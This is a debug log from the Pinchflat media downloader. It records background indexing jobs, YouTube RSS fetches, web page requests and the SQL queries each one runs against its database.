{"args":{"id":1},"id":746,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":49062,"event":"job:stop","queue_time":420348,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:41:16.900 [debug] QUERY OK source="tasks" db=0.3ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:41:27.444 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:31.866 [info] {"args":{"id":3},"id":747,"meta":{},"system_time":1784918491866156826,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:41:31.866 [debug] QUERY OK source="sources" db=0.1ms idle=1635.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:41:31.866 [debug] QUERY OK source="tasks" db=0.2ms idle=1007.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:41:31.866 [debug] QUERY OK source="settings" db=0.2ms idle=635.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:41:31.866 [debug] QUERY OK source="sources" db=0.0ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:41:31.866 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:41:31.866 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:41:31.866 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 18:41:31.898 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 18:41:31.898 [debug] QUERY OK source="media_items" db=0.1ms idle=31.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 18:41:31.900 [debug] QUERY OK source="media_items" db=1.8ms idle=32.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:41:31.901 [debug] QUERY OK source="tasks" db=0.0ms idle=34.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [750, 3, ~U[2026-07-24 18:41:31Z], ~U[2026-07-24 18:41:31Z]] 18:41:31.901 [info] {"args":{"id":3},"id":747,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":35311,"event":"job:stop","queue_time":425585,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:41:31.902 [debug] QUERY OK source="tasks" db=0.2ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:41:57.445 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.868 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:42:27.446 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:57.447 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.868 [info] {"source":"oban","duration":87,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:43:27.448 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:57.449 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.869 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:44:27.450 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:57.451 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.870 [info] {"source":"oban","duration":98,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:45:27.452 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:57.453 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.871 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:46:26.842 [info] GET /sources/2/media/12827 18:46:26.842 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12827", "source_id" => "2"} Pipelines: [:browser] 18:46:26.843 [debug] QUERY OK source="media_items" db=0.1ms idle=1559.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12827] 18:46:26.843 [debug] QUERY OK source="tasks" db=0.1ms idle=1560.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12827] 18:46:26.843 [debug] QUERY OK source="sources" db=0.2ms idle=1560.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:46:26.843 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=684.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [705] 18:46:26.843 [debug] QUERY OK source="settings" db=0.0ms idle=560.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:46:26.843 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:46:26.844 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:46:26.844 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:46:26.844 [info] Sent 200 in 2ms 18:46:27.454 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:57.455 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.873 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:47:15.677 [info] GET /sources/3 18:47:15.677 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 18:47:15.678 [debug] QUERY OK source="sources" db=0.1ms idle=1386.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:47:15.678 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1386.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:47:15.678 [debug] QUERY OK source="tasks" db=0.1ms idle=1387.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 18:47:15.678 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=470.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [750, 430] 18:47:15.678 [debug] QUERY OK source="settings" db=0.0ms idle=387.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:47:15.678 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:47:15.679 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:47:15.679 [debug] QUERY OK source="sources" db=0.0ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:47:15.681 [debug] QUERY OK source="media_items" db=1.8ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:47:15.683 [debug] QUERY OK source="media_items" db=1.8ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:47:15.683 [debug] QUERY OK source="sources" db=0.0ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:47:15.684 [debug] QUERY OK source="media_items" db=0.1ms idle=4.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 18:47:15.685 [debug] QUERY OK source="media_items" db=1.2ms idle=4.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:47:15.685 [debug] QUERY OK source="sources" db=0.0ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:47:15.686 [debug] QUERY OK source="media_items" db=0.7ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 18:47:15.688 [debug] QUERY OK source="media_items" db=1.6ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:47:15.688 [info] Sent 200 in 11ms 18:47:27.456 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:57.458 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.874 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:48:27.459 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:57.460 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.875 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:49:06.246 [info] GET /sources/2/media/6111 18:49:06.246 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6111", "source_id" => "2"} Pipelines: [:browser] 18:49:06.246 [debug] QUERY OK source="media_items" db=0.1ms idle=1925.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6111] 18:49:06.246 [debug] QUERY OK source="tasks" db=0.1ms idle=935.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6111] 18:49:06.246 [debug] QUERY OK source="sources" db=0.1ms idle=935.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" 